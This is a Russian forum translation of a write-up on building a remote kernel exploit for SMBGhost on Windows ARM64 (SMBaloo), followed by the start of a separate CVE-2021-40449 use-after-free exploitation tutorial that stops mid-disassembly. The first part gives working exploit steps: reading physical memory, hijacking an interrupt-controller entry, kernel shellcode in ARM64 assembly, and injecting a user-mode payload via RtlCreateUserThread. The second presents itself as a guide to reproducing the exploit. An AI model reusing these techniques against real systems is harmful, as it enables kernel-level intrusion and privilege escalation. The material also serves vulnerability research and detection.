- KASLR используется для виртуальных адресов ядра, но, похоже, не всегда так
для ранних физических адресов.
- Кажется, мы не можем читать таблицы физических страниц.
А как насчет других потенциальных физических адресов, которые мы могли бы использовать, например hal! HalpInterruptController? Бинго!
Code:Copy to clipboard
0: kd> !pte poi(hal!HalpInterruptController)
VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78 PPE at FFFFF67B3D9EFE78 PDE at FFFFF67B3DFCF000 PTE at FFFFF67BF9E00038
contains 0060000084600F03 contains 00E0000084603F03 contains 00E0000084604F03 contains 00E0000080009F03
pfn 84600 -R--ADK--V pfn 84603 -W--ADK--V pfn 84604 -W--ADK--V pfn 80009 -W--ADK--V
Опять же, на моей машине poi(hal!HalpInterruptController) PFN оказался постоянным при нескольких перезагрузках с физическим адресом 0x80009000 (с включенным режимом отладки. Благодаря DumpIt значение равно 0x80005000, когда режим отладки отключен) - и это также произошло на другой машине, где это было 0x40009000.
Мы уже можем видеть шаблон, в котором PFN для poi(hal! HalpInterruptController) равен nt! MmPhysicalMemoryBlock->Run [0].BasePage+0x9.
Машина 1
Code:Copy to clipboard
0: kd> dt poi(nt!MmPhysicalMemoryBlock) nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
+0x010 Run : [0]
+0x000 BasePage : 0x80000
+0x008 PageCount : 0x400
0: kd> !pte poi(hal!HalpInterruptController)
VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78 PPE at FFFFF67B3D9EFE78 PDE at FFFFF67B3DFCF000 PTE at FFFFF67BF9E00038
contains 0060000084600F03 contains 00E0000084603F03 contains 00E0000084604F03 contains 00E0000080009F03
pfn 84600 -R--ADK--V pfn 84603 -W--ADK--V pfn 84604 -W--ADK--V pfn 80009 -W--ADK--V
Машина 2
Code:Copy to clipboard
5: kd> dt poi(nt!MmPhysicalMemoryBlock) nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
+0x010 Run : [0]
+0x000 BasePage : 0x40000
+0x008 PageCount : 0x2bb
5: kd> !pte poi(hal!HalpInterruptController)
VA fffff79280007000
PXE at FFFF82C160B05F78 PPE at FFFF82C160BEF250 PDE at FFFF82C17DE4A000 PTE at FFFF82FBC9400038
contains 0060000085500F03 contains 00E0000085603F03 contains 00E0000085604F03 contains 00E0000040009703
pfn 85500 -R--ADK--V pfn 85603 -W--ADK--V pfn 85604 -W--ADK--V pfn 40009 -W-GADK--V
Теперь мы можем удаленно и последовательно читать физический адрес poi(hal! HalpInterruptController)! Бинго!
Вы можете прочитать функцию эксплойта ReadHalInterruptController() для получения более подробной информации.
Таблица универсального контроллера прерываний (GIC)
После того, как мы прочитаем hal!HalpInterruptController, мы можем легко проверить структуру с помощью некоторых простых проверок, таких как пустые поля или, в нашем случае с SMBaloo постоянное значение (вероятно, размер) в poi (hal!HalpInterruptController)+ 0x18, равно 0x545.
Code:Copy to clipboard
0: kd> dq poi(hal!HalpInterruptController)+0x18 L1
HalpInterruptController_Sig = 0x00000545
Тогда очень легко получить базовый адрес hal из одного из виртуальных адресов функции, вычитая смещения функций.
Code:Copy to clipboard
0: kd> dps poi(hal!HalpInterruptController)
fffff7f3`c0007000 fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007008 fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007010 fffff7f3`c0007158
fffff7f3`c0007018 00000000`00000545
fffff7f3`c0007020 fffff800`df8c7640 hal!HalpGic3InitializeLocalUnit
fffff7f3`c0007028 fffff800`df8c7450 hal!HalpGic3InitializeIoUnit
fffff7f3`c0007030 fffff800`df89b2c0 hal!HalpGic3SetPriority
fffff7f3`c0007038 00000000`00000000
fffff7f3`c0007040 00000000`00000000
fffff7f3`c0007048 00000000`00000000
fffff7f3`c0007050 00000000`00000000
fffff7f3`c0007058 fffff800`df8c71a0 hal!HalpGic3AcceptAndGetSource
fffff7f3`c0007060 fffff800`df89b2e0 hal!HalpGic3WriteEndOfInterrupt
fffff7f3`c0007068 00000000`00000000
fffff7f3`c0007070 fffff800`df8c7ea0 hal!HalpGic3SetLineState
fffff7f3`c0007078 fffff800`df8c7d70 hal!HalpGic3RequestInterrupt
0: kd> !itoldyouso hal
hal.dll
Timestamp: 4328224B
SizeOfImage: 36F000
pdb: hal.pdb
pdb sig: 24BF0D45-4FA0-30FF-4791-CA91A5EAD872
age: 1
0: kd> ? hal!HalpRegisteredInterruptControllers - hal
Evaluate expression: 3433328 = 00000000`00346370
Что еще более важно, нам нужно решить, какую запись исправить, чтобы запустить полезную нагрузку нашего ядра. Как видите, вместо Advanced Programmable Interrupt Controller (APIC) - операционная система ARM64 использует Generic Interrupt Controller (GIC) версии 3.
Архитектура GICv3 разработана для работы с ARMv8-A и ARMv8-R совместимыми элементами обработки (PE).
Архитектура универсального контроллера прерываний (GIC) определяет:
- Требования к архитектуре для обработки всех источников прерываний для
любого PE, подключенного к GIC.
- Стандартный интерфейс программирования контроллера прерываний, применимый к
однопроцессорным или многопроцессорным системам.
В эксплойте SMBaloo я решил исправить запись hal!HalpGic3RequestInterrupt, которая была бы эквивалентом hal! HalpApicRequestInterrupt.
Шеллкод
KUSER_SHARED_DATA - популярный вариант для копирования и выполнения полезных данных ядра, хотя вам нужно перевернуть биты NX перед патчингом записи в таблице контроллера прерываний. Мы рассмотрим этот вариант, прежде чем обсуждать второй вариант, который я в конечном итоге использовал для SMBaloo.
**TTBR Self Ref?
Биты TTBR Self Ref и NX**
Если мы посмотрим на таблицу страниц TTBR в Windbg, мы увидим, что, как и в случае с основной таблицей страниц PML4, существует запись self-reference, которую мы можем использовать для поиска виртуального адреса KUSER_SHARED_DATA PTE.
Единственное заметное отличие от систем x64 заключается в том, что позиции битового поля No Execute различны и существуют как два отдельных значения PrivilegedNoExecute (EL1 - Kernelland) и UserNoExecute (EL0 — Userland).
Code:Copy to clipboard
# Clear NX bit
# This is different on ARM64
# MMPTE_HARDWARE.PrivilegedNoExecute = False
# MMPTE_HARDWARE.UserNoExecute = False
overwrite_val = pte_val & ~(3 << 53)
0: kd> dt nt!_MMPTE_HARDWARE
+0x000 Valid : Pos 0, 1 Bit
+0x000 NotLargePage : Pos 1, 1 Bit
+0x000 CacheType : Pos 2, 2 Bits
+0x000 OsAvailable2 : Pos 4, 1 Bit
+0x000 NonSecure : Pos 5, 1 Bit
+0x000 Owner : Pos 6, 1 Bit
+0x000 NotDirty : Pos 7, 1 Bit
+0x000 Sharability : Pos 8, 2 Bits
+0x000 Accessed : Pos 10, 1 Bit
+0x000 NonGlobal : Pos 11, 1 Bit
+0x000 PageFrameNumber : Pos 12, 36 Bits
+0x000 reserved1 : Pos 48, 4 Bits
+0x000 ContiguousBit : Pos 52, 1 Bit
+0x000 PrivilegedNoExecute : Pos 53, 1 Bit
+0x000 UserNoExecute : Pos 54, 1 Bit
+0x000 Writable : Pos 55, 1 Bit
+0x000 CopyOnWrite : Pos 56, 1 Bit
+0x000 PdeLocked : Pos 57, 1 Bit
+0x000 PdeContended : Pos 58, 1 Bit
+0x000 PxnTable : Pos 59, 1 Bit
+0x000 UxnTable : Pos 60, 1 Bit
+0x000 ApTable : Pos 61, 2 Bits
+0x000 NsTable : Pos 63, 1 Bit
Но помните, что мы не можем читать таблицы физических страниц с помощью чтения нашей физической страницы с помощью MDL: (Я использовал этот метод во время моих первоначальных тестов, жестко кодируя виртуальный адрес PTE и значение PTE, пока не нашел более надежный метод, который я описываю в следующем разделе.
Зачем переворачивать биты? Когда тебе это не нужно.
Поразмыслив над этим, я спросил себя, почему я вообще вообще пытаюсь исправить запись PTE. Я устал копировать вставку виртуального адреса из отладчика в свой эксплойт, что через некоторое время действительно начало казаться глупым. Все, что нам нужно, это исполняемая страница, верно?
Я люблю большие страницы, я не могу лгать. Поскольку модули ядра отображаются в памяти на большой странице, это означает, что мы можем использовать пространство заголовков для хранения полезных данных ядра, поскольку они будут помечены как исполняемые, как и остальная часть двоичного файла. И поскольку мы восстановили базовый адрес hal в предыдущем разделе, мы можем не касаться PTE KUSER_SHARED_DATA. Хотя, чтобы избежать перезаписи заголовка, я использую дельта-смещение hal + 0x500 (pshellcodeva = HalBase_VirtAddr + 0x500) для моей полезной нагрузки, что дает нам приличный размер используемого исполняемого пространства равный 0xb00.
Code:Copy to clipboard
0: kd> !pte nt
VA fffff800dfc00000
PXE at FFFFF67B3D9ECF80 PPE at FFFFF67B3D9F0018 PDE at FFFFF67B3E0037F0 PTE at FFFFF67C006FE000
contains 0060000084609F03 contains 006000008460AF03 contains 00C000009C000F01 contains 0000000000000000
pfn 84609 -R--ADK--V pfn 8460a -R--ADK--V pfn 9c000 -WX-ADK-LV LARGE PAGE pfn 9c000
0: kd> !pte hal
VA fffff800df891000
PXE at FFFFF67B3D9ECF80 PPE at FFFFF67B3D9F0018 PDE at FFFFF67B3E0037E0 PTE at FFFFF67C006FC488
contains 0060000084609F03 contains 006000008460AF03 contains 00C000009BC00F01 contains 0000000000000000
pfn 84609 -R--ADK--V pfn 8460a -R--ADK--V pfn 9bc00 -WX-ADK-LV LARGE PAGE pfn 9bc91
0: kd> dt nt!_MMPTE_HARDWARE FFFFF67B3E0037E0
+0x000 Valid : 0y1
+0x000 NotLargePage : 0y0
+0x000 CacheType : 0y00
+0x000 OsAvailable2 : 0y0
+0x000 NonSecure : 0y0
+0x000 Owner : 0y0
+0x000 NotDirty : 0y0
+0x000 Sharability : 0y11
+0x000 Accessed : 0y1
+0x000 NonGlobal : 0y1
+0x000 PageFrameNumber : 0y000000000000000010011011110000000000 (0x9bc00)
+0x000 reserved1 : 0y0000
+0x000 ContiguousBit : 0y0
+0x000 PrivilegedNoExecute : 0y0 // <=============== <3 <3 <3 <3 <3 <3
+0x000 UserNoExecute : 0y1
+0x000 Writable : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 PdeLocked : 0y0
+0x000 PdeContended : 0y0
+0x000 PxnTable : 0y0
+0x000 UxnTable : 0y0
+0x000 ApTable : 0y00
+0x000 NsTable : 0y0
Теневой стек
В ARM64 нет PUSHAD/POPAD - и даже нет никаких инструкций PUSH/POP, но нам все равно нужно очень аккуратно сохранять наши регистры, включая аргументы функций, которые передаются через регистры. Регистры из x0-x7 используются для передачи параметров, поскольку мы хотим правильно перенаправиться на исходный hal! HalpGic3RequestInterrupt, мы не хотим, чтобы они перезаписывались, поэтому, нам нужно что-то более общее, которое работает как PUSHAD/POPAD.
Bash:Copy to clipboard
Register Volatile? Role
x0 Volatile Parameter/scratch register 1, result register
x1-x7 Volatile Parameter/scratch register 2-8
x8-x15 Volatile Scratch registers.
x16-x17 Volatile Intra-procedure-call scratch registers
x18/xpr Non-volatile Platform register. Points to KPCR (Kernel mode), to TEB (User-mode). This should never be overwritten.
x19-x28 Non-volatile Scratch registers.
x29/fp Non-volatile Frame pointer. The frame pointer (x29) is required for compatibility with fast stack walking used by ETW and other services. It must point to the previous {x29, x30} pair on the stack.
x30/lr Non-volatile Link registers. This one is particularly important when hooking functions as it contains the original return address. It also gets overwritten each time we use a call instruction!
Обратите внимание, что в отличие от AArch32, счетчик программ (PC) и указатель стека (SP) не являются индексируемыми регистрами.
Короче говоря, нам нужно выделить пространство кадра в стеке (sp) - и сохранить все наши регистры внутри него, используя инструкции stp/str, и мы восстановим их, используя инструкции ldp/ldr.
PUSHAD
Code:Copy to clipboard
sub sp, sp, #S_FRAME_SIZE
stp x0, x1, [sp, #16 * 0]
stp x2, x3, [sp, #16 * 1]
stp x4, x5, [sp, #16 * 2]
stp x6, x7, [sp, #16 * 3]
stp x8, x9, [sp, #16 * 4]
stp x10, x11, [sp, #16 * 5]
stp x12, x13, [sp, #16 * 6]
stp x14, x15, [sp, #16 * 7]
stp x16, x17, [sp, #16 * 8]
stp xpr, x19, [sp, #16 * 9]
stp x20, x21, [sp, #16 * 10]
stp x22, x23, [sp, #16 * 11]
stp x24, x25, [sp, #16 * 12]
stp x26, x27, [sp, #16 * 13]
stp x28, x29, [sp, #16 * 14]
str lr, [sp, #16 * 15]
POPAD
Code:Copy to clipboard
ldp x0, x1, [sp, #16 * 0]
ldp x2, x3, [sp, #16 * 1]
ldp x4, x5, [sp, #16 * 2]
ldp x6, x7, [sp, #16 * 3]
ldp x8, x9, [sp, #16 * 4]
ldp x10, x11, [sp, #16 * 5]
ldp x12, x13, [sp, #16 * 6]
ldp x14, x15, [sp, #16 * 7]
ldp x16, x17, [sp, #16 * 8]
ldp xpr, x19, [sp, #16 * 9]
ldp x20, x21, [sp, #16 * 10]
ldp x22, x23, [sp, #16 * 11]
ldp x24, x25, [sp, #16 * 12]
ldp x26, x27, [sp, #16 * 13]
ldp x28, x29, [sp, #16 * 14]
ldr lr, [sp, #16 * 15]
add sp, sp, #S_FRAME_SIZE
Доступ к PCR
x18 или xpr указывает на KPCR для текущего процессора в режиме ядра и указывает на TEB в пользовательском режиме. Это позволяет нам получить адрес объекта System EPROCESS (GetPcr()→PsGetCurrentThread()→PsGetCurrentProcess())
Code:Copy to clipboard
ldr x8, [xpr, #0x988]; PsGetCurrentThread()
ldr x3, [x8, #ETHREAD_PROCESS_OFFSET] ; PsGetCurrentProcess()
add x0, x3, #EPROCESS_IMAGEFILENAME_OFFSET ; name
Базовый адрес Ntoskrnl
VBAR_EL1, регистр базового адреса вектора (EL1), содержит базовый адрес вектора для любого исключения, которое передается в EL1 (ядро), и этот базовый адрес вектора (nt!KiArm64ExceptionVectors) находится внутри ntoskrnl.exe. VBAR_EL1 инициализируется ntoskrnl!KiInitializeExceptionVectorTable. Также имеется векторный регистр базового адреса для EL2 и EL3. Брюс Данг написал прекрасную статью о диспетчеризации системных вызовов в Windows ARM64, в которой рассказывается, как VBAR_EL1 используется ядром Windows ARM64.
Как только мы получим адрес nt!KiArm64ExceptionVectors, мы можем просто пройтись по нему назад, пока не найдем заголовок файла MZ образа.
Code:Copy to clipboard
; Search for NTBase
mrs x4, VBAR_EL1
ldrh w8, [x4]
mov w9, #0x5A4D
cmp w8, w9
beq xxx_break_nt_base
xxx_loop_nt_base
sub x4, x4, #1, lsl#12
ldrh w8, [x4]
cmp w8, w9
bne xxx_loop_nt_base
Функции хеширования
Процессоры ARM64 имеют встроенные коды операций CRC32, которые можно использовать для буферов хеширования, это неплохо, и я решил использовать crc32b для моей реализации GetProcAddress.
Code:Copy to clipboard
xxxComputeHash PROC
mov x9, x0
ldrsb w8, [x9]
mov w0, #0
mov w10, #0
cbz w8, xxx_compute_hash_exit
xxx_compute_hash_loop
add w10, w10, #1
crc32b w0, w0, w8
ldrsb w8, [x9,w10,sxtw]
cbnz w8, xxx_compute_hash_loop
xxx_compute_hash_exit
ret
ENDP
Fool me once, shame on you; fool me twice…
В отличие от других шеллкодов ядра, которые используют APC (асинхронный вызов процедур) дважды, я использую его только один раз для запуска APC ядра, но не для полезной нагрузки в пользовательском пространстве. В прошлом году Сухайль Хамму сообщил, что ATP в Защитнике Windows (и, вероятно, все другие EDR, основанные на событиях ETW ...) обнаруживает внедрение APC в пользовательском режиме из режима ядра, а hugeh0ge также упомянул, что пользовательская среда Control Flow Guard (CFG) перехватывает вызовы через ntdll!KiUserApcDispatch->ntdll! LdrpValidateUserCallTarget перед выполнением любого введенного APC шелл-кода. Это потребует от нас патча ntdll!LdrpValidateUserCallTarget для успешного выполнения.
В прошлом году я писал о том (<https://www.comae.com/posts/2019-04-24_how-to- solve-the-blindspots-of-event-driven-detection/>), почему обнаружение, управляемое событиями (большинство EDR), имеет слепые пятна, рассматривая технику внедрения кода APC в качестве примера. Вот хронология событий с того момента, когда Барнаби Джек впервые опубликовал ее на BlackHat 2005.
Но угадайте, что ядро Windows 10 экспортирует RtlCreateUserThread(), который позволяет вам делать именно то, что он делает. Параметры точно такие же, как и его версия ntdll, которая будет работать как секция псевдокода ниже. Хотя это и не освещено в последнем сообщении zerosum0x0, я приглашаю вас прочитать его последнее сообщение в блоге об известных побегах с помощью ring0, поскольку оно дает отличный исторический контекст известных в настоящее время методов и почему замечательно, что RtlCreateUserThread экспортируется и отлично работает AFAIK , я также не видел ни одного общедоступного шелл-кода Windows, использующего эту технику.
C:Copy to clipboard
m_CurrentIrql = KeGetCurrentIrql()
m_KfLowerIrql(PASSIVE_LEVEL)
m_KeStackAttachProcess((PVOID)m_EProcessObject, &m_KAPC);
m_UserAddress = NULL;
m_UserModePayloadSize = 0x1000;
if (NT_SUCCESS(m_ZwAllocateVirtualMemory((HANDLE)-1, &m_UserAddress, 0, &m_UserModePayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))) {
memcpy(m_UserAddress, UserModeShellcode, USERMODE_SHELLCODE_SIZE);
m_RtlCreateUserThread((HANDLE)-1, NULL, FALSE, 0, NULL, NULL, m_UserAddress, 0, &m_hThread, &m_ClientId);
}
m_KeUnstackDetachProcess(&m_KAPC);
m_KfRaiseIrql(KPCR->CurrentIrql)
Еще вы заметите, что я напрямую вызываю hal!KfLowerIrql и hal!KfRaiseIrql вместо жесткого кодирования изменений IRQL, как мы обычно наблюдаем с шелл- кодами x64 - это было чисто для того, чтобы иметь надежный шелл-код, и поскольку мы В любом случае, работая с hal, не имело смысла жестко кодировать его, хотя hal!KeGetCurrentIrql жестко запрограммирован, поскольку это простая функция. KeStackAttachProcess() позволяет нам использовать (HANDLE)-1 вместо того, чтобы выполнять дополнительные операции, такие как ZwOpenProcess(), для получения дескрипторов и т.д.
Несмотря на комментарии, отключение/включение прерываний это довольно просто, но для правильной работы полезной нагрузки ядра этого не требовалось.
Code:Copy to clipboard
;msr DAIFClr, #2 ; enable interrupts
(..)
;msr DAIFSet, #2 ; disable interrupts
И после вызова нашего самодельного POPAD мы можем продолжить выполнение исходной функции.
Code:Copy to clipboard
; Continue the GIC Request Call
ldr x8, m_HalpGic3RequestInterrupt
br x8
ret
Userland
Благодаря нашему EL/ядру вызов nt!RtlCreateUserThread позвоялет нам теперь запускаем код в EL0.
Поиск функций работает аналогично полезной нагрузке ядра, где я также использую код операции crc32b, основное отличие состоит в том, что вместо чтения KPCR мы будем читать TEB для доступа к PEB и перечислять библиотеки DLL и находить базовый адрес kernel32.
Code:Copy to clipboard
GetK32Base PROC
mov x8, x18
ldr x19, [x8, #OFFSET_PEB]
ldr x19, [x19, #OFFSET_LDR_DATA]
ldr x19, [x19, #OFFSET_LOAD_ORDER]
ldr x19, [x19] ; NTDLL
ldr x19, [x19] ; KERNEL32
ldr x0, [x19, #OFFSET_DLL_BASE] ; Kernel32 Base
ret
GetK32Base ENDP
В остальном все работает так же, как и полезная нагрузка нашего ядра - теневой стек, поиск функции, выполнение вызовов … И бум, целевая машина не взорвалась, и просто появился калькулятор. Я не публиковал шелл-код обратной оболочки, так как цель состоит в том, чтобы сделать этот эксплойт и описание чисто образовательными.
Анализ памяти для обнаружения.
Криминалистика памяти мертва. Да здравствует анализ памяти. А как насчет обнаружения? Обнаружение в реальном времени не всегда безупречно, а реализация мер по защите - это эффективный, но долгосрочный процесс. Тем не менее, имплантаты ядра с постоянным ОЗУ не всегда легко обнаружить, и часто продолжают создаваться новые методы. Это одна из основных причин, по которой я настаивал на переосмыслении ведения журнала для критических ресурсов, чтобы иметь возможность обнаруживать такие полезные нагрузки в памяти, если вы архивируете образы памяти (в пригодном для использования формате файла, таком как аварийные дампы для Windows или ядро ELF для Linux. - Помните: сырые дампы
Исследование адресов, не относящихся к KASLR, таких как KPCR, в Windows 7 (см. ETERNALBLUE), KSHARED_USER_DATA или даже страницы с включенным KASLR, но без защиты NX, такой как заголовки модулей ядра, как мы видели выше, является необходимостью, и поскольку структура и инструменты реагирования на инциденты отстают, слишком много внимания уделяя базовым вещам, таким как преобразование ИТ-инструментов в DFIR таких утилит, как osquery и т. д., будет сложно увидеть значительную эволюцию с точки зрения защиты. Например, мне определенно было больше удовольствия писать этот эксплойт, чем пытаться убедить людей, почему они должны прекратить использовать сырые дампы и использовать аварийные дампы Microsoft . Многие механизмы глубокой защиты довольно сложно реализовать, если вы не являетесь поставщиком - хотя поставщики облачных услуг могут ввести интересную парадигму для будущего облачной безопасности, в которой небольшие игроки могут иметь постоянно растущее влияние.
Эксплойт
![github.com](/proxy.php?image=https%3A%2F%2Frepository- images.githubusercontent.com%2F274383304%2F28aaeb80-bb96-11ea-9a69-957ceef6d9b7&hash=93f68667e25cddcffc50efaecd9fee7c&return_error=1)
Contribute to msuiche/smbaloo development by creating an account on GitHub.
github.com
Список используемой литературы
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: <https://www.comae.com/posts/smbaloo-building-a-rce-exploit-for-
windows-arm64-smbghost-edition/>
Сегодня мы разберём типичный пример узявимости Use After Free, в ядре Windows. А также проэксплуатируем её, используя типовой метод применяемый в таких случаях. Я постарался разобрать всё максимально подробно, для того чтобы при желаении, вы могли воспроизвести эксплоит сами. Файлы упомянутые в тексте статьи будут прикреплены внизу, или в итогах я оставлю ссылки на мегу.
Как и в своих предыдущих статьях упомяну, что если вы ничего не понимаете в эксплуатации уязвимостей ядра Windows, или делаете это в первый раз, то эта статья не для вас! Рекомендую начать с чего нибудь попроще, вроде HEVD и ему подобных[ссылка и ссылка]. Я не стану подробно останавливаться на том, как механизмы ядра реализованы. Статья предпологает что читатель знаком с базовыми принципами эксплуатации. Про знание C/C++ и прочего, даже говорить не стоит.
Содержание
Вступление
Начать бы стоило с того, что в интернете уже есть разборы CVE-2021-40449
,
так что я не первый кто взялся за эту уязвимость. Однако сегодня мы
сосредоточимся не только на эксплуатации, но и на анализе самой уязвимости. Я
разберу все стадии разработки эксплойта подробно, и последовательно. Некоторые
из разборов CVE-2021-40449
я приложил внизу, в дополнительных материалах,
при желании вы можете с ними ознакомится. Также я оставлю ссылки на объяснение
техник которые я сегодня использую.
Инструментарий
Скриншоты и анализ уязвимости были в большистве своём сделаны в Ghidra. С
инструментом сравнения бинарных файлов внутри самой Ghidra у меня пока как-то
не складывается. В Ghidara Book этому функционалу уделили буквально пару
обзацев. Как только я разберусь с диффером внутри Ghidra, напишу статью сюда,
на xss.is. А пока воспользуемся BinDiff, все скрины со сравнениями были
выполнены в нём.
На настройку окружения мы в этот раз отвлекаться не будем, для этого существует моя первая статья(ссылка) и вторая, с настройкой kdnet(ссылка).
Образцы
Эксплуатировать CVE-2021-40449
мы будем в Windows 10.0.17763.1757
, iso
файл с которой я залил на мегу и прикрепил в конце статьи. Весь комплект из
win32k.sys, win32kbase.sys и win32kfull.sys я тоже прикрепил. Из них мы
сосредоточим внимание в основном на win32kfull, так как в этом драйвере и
распологается уязвимая функция. Одна из ключевых функций, о которой я буду
говорить распологается в win32kbase, поэтому для комплексности анализа, я
решил приложить весь комплект win32k.
В качестве пропатченой версии я выбрал Windows 10.0.17763.2237
. В ней
установлен пакет исправлений
KB5006672
([Ссылка](https://msrc.microsoft.com/update-
guide/vulnerability/CVE-2021-40449)). ISO образ я оставлять не стал,
ограничился лишь комплектом win32k. Для полного самостоятельного анализа
уязвимости этого будет достаточно.
**Анализ уязвимости
Предыстория **
Анализ CVE-2021-40449 стоит начать с её истории. Впервые она была обнаружена
как 0-day, тоесть "in the wild". Изначально её перепутали с CVE-2016-3309, но
позже она была определена как 0-day. Она использовалась китайской группировкой
MysterySnail, для атак на серверные версии Windows, и заражения их своим RAT.
Более подробно об этом вы можете прочитать в статье на
securelist([ссылка](https://securelist.com/mysterysnail-attacks-with-windows-
zero-day/104509/)).
Уязвимость CVE-2016-3309 я уже анализировал в своей предыдущей статье,
проблема заключалась в win32kfull!bFill
, внутри фукнции происходил
IntegerOverflow
, в результате чего в памяти выделялся куда меньший объект,
чем предпологалось. Тогда мы использовали примитив _PALETTE64
.
Согласно отчёту касперсого, в CVE-2021-40449 проблема кроется в
win32kfull!NtGdiResetDC
(ниже вы увидете что это не совсем так). В результате
выполнения фукнции, при соблюдении определённых условий мы получаем Use After
Free, с возможностью перехода потока исполнения к контролируемому адресу.
Звучит интересно, правда? Взглянем подробнее:
Сравнение функций
Для начала взглянем на полный листинг декомпилятора ghidra для функции
NtGdiResetDC:
Code:Copy to clipboard
**************************************************************
* FUNCTION *
**************************************************************
undefined NtGdiResetDC(undefined param_1, undefined para
undefined AL:1 <RETURN>
undefined CL:1 param_1
undefined DL:1 param_2
undefined R8B:1 param_3
undefined R9B:1 param_4
undefined8 Stack[0x28]:8 param_5 XREF[1]: 1c0147076(R)
undefined8 Stack[0x18]:8 local_res18 XREF[1]: 1c0146fc7(W)
undefined8 Stack[0x10]:8 local_res10 XREF[2]: 1c0146fc3(W),
1c01470eb(R)
undefined8 Stack[0x8]:8 local_res8 XREF[1]: 1c0146fcb(W)
undefined8 Stack[-0x38]:8 local_38 XREF[2]: 1c0146fec(W),
1c0147037(W)
undefined8 Stack[-0x40]:8 local_40 XREF[2]: 1c0146fe6(W),
1c0147007(W)
undefined4 Stack[-0x44]:4 local_44 XREF[2]: 1c0147086(*),
1c01470b1(R)
undefined4 Stack[-0x48]:4 local_48 XREF[3]: 1c0147018(W),
1c014704c(W),
1c0147098(W)
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 1c014707e(W)
0x146fc0 1486 NtGdiResetDC
Ordinal_1486 XREF[4]: Entry Point(*), 1c032a928(*),
NtGdiResetDC 1c035875c(*), 1c03719f5(*)
1c0146fc0 MOV RAX,RSP
1c0146fc3 MOV qword ptr [RAX + local_res10],RBX
1c0146fc7 MOV qword ptr [RAX + local_res18],param_3
1c0146fcb MOV qword ptr [RAX + local_res8],param_1
1c0146fcf PUSH RSI
1c0146fd0 PUSH RDI
1c0146fd1 PUSH R12
1c0146fd3 PUSH R14
1c0146fd5 PUSH R15
1c0146fd7 SUB RSP,0x50
1c0146fdb MOV R15,param_4
1c0146fde MOV R14,param_3
1c0146fe1 MOV R12,param_1
1c0146fe4 XOR EDI,EDI
1c0146fe6 MOV qword ptr [RAX + local_40],RDI
1c0146fea XOR ESI,ESI
1c0146fec MOV qword ptr [RAX + local_38],RSI
1c0146ff0 TEST param_2,param_2
1c0146ff3 JZ LAB_1c0147011
1c0146ff5 MOV param_1,param_2
1c0146ff8 CALL qword ptr [->WIN32KBASE.SYS::CaptureDEVMODEW]
1c0146fff NOP dword ptr [RAX + RAX*0x1]
1c0147004 MOV RDI,RAX
1c0147007 MOV qword ptr [RSP + local_40],RAX
1c014700c TEST RAX,RAX
1c014700f JZ LAB_1c0147045
LAB_1c0147011 XREF[1]: 1c0146ff3(j)
1c0147011 MOV EBX,0x1
1c0147016 MOV EAX,EBX
LAB_1c0147018 XREF[1]: 1c014704a(j)
1c0147018 MOV dword ptr [RSP + local_48],EAX
1c014701c TEST EAX,EAX
1c014701e JZ LAB_1c0147041
1c0147020 TEST R15,R15
1c0147023 JZ LAB_1c014704c
1c0147025 MOV param_1,R15
1c0147028 CALL qword ptr [->WIN32KBASE.SYS::CaptureDriverInf
1c014702f NOP dword ptr [RAX + RAX*0x1]
1c0147034 MOV RSI,RAX
1c0147037 MOV qword ptr [RSP + local_38],RAX
1c014703c TEST RAX,RAX
1c014703f JNZ LAB_1c014704c
LAB_1c0147041 XREF[1]: 1c014701e(j)
1c0147041 XOR EBX,EBX
1c0147043 JMP LAB_1c014704c
LAB_1c0147045 XREF[1]: 1c014700f(j)
1c0147045 MOV EBX,0x1
1c014704a JMP LAB_1c0147018
LAB_1c014704c XREF[3]: 1c0147023(j), 1c014703f(j),
1c0147043(j)
1c014704c MOV dword ptr [RSP + local_48],EBX
1c0147050 JMP LAB_1c0147072
1c0147052 ?? 33h 3
1c0147053 ?? DBh
1c0147054 ?? 89h
1c0147055 ?? 5Ch \
1c0147056 ?? 24h $
1c0147057 ?? 30h 0
1c0147058 ?? 4Ch L
1c0147059 ?? 8Bh
1c014705a ?? B4h
1c014705b ?? 24h $
1c014705c ?? 90h
1c014705d ?? 00h
1c014705e ?? 00h
1c014705f ?? 00h
1c0147060 ?? 4Ch L
1c0147061 ?? 8Bh
1c0147062 ?? A4h
1c0147063 ?? 24h $
1c0147064 ?? 80h
1c0147065 ?? 00h
1c0147066 ?? 00h
1c0147067 ?? 00h
1c0147068 ?? 48h H
1c0147069 ?? 8Bh
1c014706a ?? 7Ch |
1c014706b ?? 24h $
1c014706c ?? 38h 8
1c014706d ?? 48h H
1c014706e ?? 8Bh
1c014706f ?? 74h t
1c0147070 ?? 24h $
1c0147071 ?? 40h @
LAB_1c0147072 XREF[1]: 1c0147050(j)
1c0147072 TEST EBX,EBX
1c0147074 JZ LAB_1c01470c6
1c0147076 MOV RAX,qword ptr [RSP + param_5]
1c014707e MOV qword ptr [RSP + local_58],RAX
1c0147083 MOV param_4,RSI
1c0147086 LEA param_3=>local_44,[RSP + 0x34]
1c014708b MOV param_2,RDI
1c014708e MOV param_1,R12
1c0147091 CALL GreResetDCInternal int GreResetDCInternal(HDC hdc,
1c0147096 MOV EBX,EAX
1c0147098 MOV dword ptr [RSP + local_48],EAX
1c014709c TEST EAX,EAX
1c014709e JZ LAB_1c01470c6
1c01470a0 MOV param_1,qword ptr [->NTOSKRNL.EXE::MmUserProb = 00350fa8
1c01470a7 MOV param_2,qword ptr [param_1]
1c01470aa CMP R14,param_2
1c01470ad CMOVNC R14,param_2
1c01470b1 MOV EAX,dword ptr [RSP + local_44]
1c01470b5 MOV dword ptr [R14],EAX
1c01470b8 JMP LAB_1c01470c6
1c01470ba ?? 33h 3
1c01470bb ?? DBh
1c01470bc ?? 48h H
1c01470bd ?? 8Bh
1c01470be ?? 7Ch |
1c01470bf ?? 24h $
1c01470c0 ?? 38h 8
1c01470c1 ?? 48h H
1c01470c2 ?? 8Bh
1c01470c3 ?? 74h t
1c01470c4 ?? 24h $
1c01470c5 ?? 40h @
LAB_1c01470c6 XREF[3]: 1c0147074(j), 1c014709e(j),
1c01470b8(j)
